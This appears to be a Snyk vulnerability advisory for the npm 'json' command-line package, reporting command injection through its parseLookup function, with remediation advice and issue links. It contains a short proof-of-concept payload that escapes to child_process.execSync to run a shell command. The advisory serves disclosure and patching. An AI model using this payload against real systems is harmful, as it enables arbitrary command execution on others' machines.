SNYK-JS-JSON-597481

## Overview [json](https://www.npmjs.com/package/json) is a 'json' command tool for massaging and processing JSON on the command line. Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the `parseLookup` function. ### PoC ``` const json = require('json'); res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}'); console.log(res); ``` ## Remediation Upgrade `json` to version 10.0.0 or higher. ## References - [GitHub Issue](https://github.com/trentm/json/issues/144) - [GitHub PR](https://github.com/trentm/json/pull/145)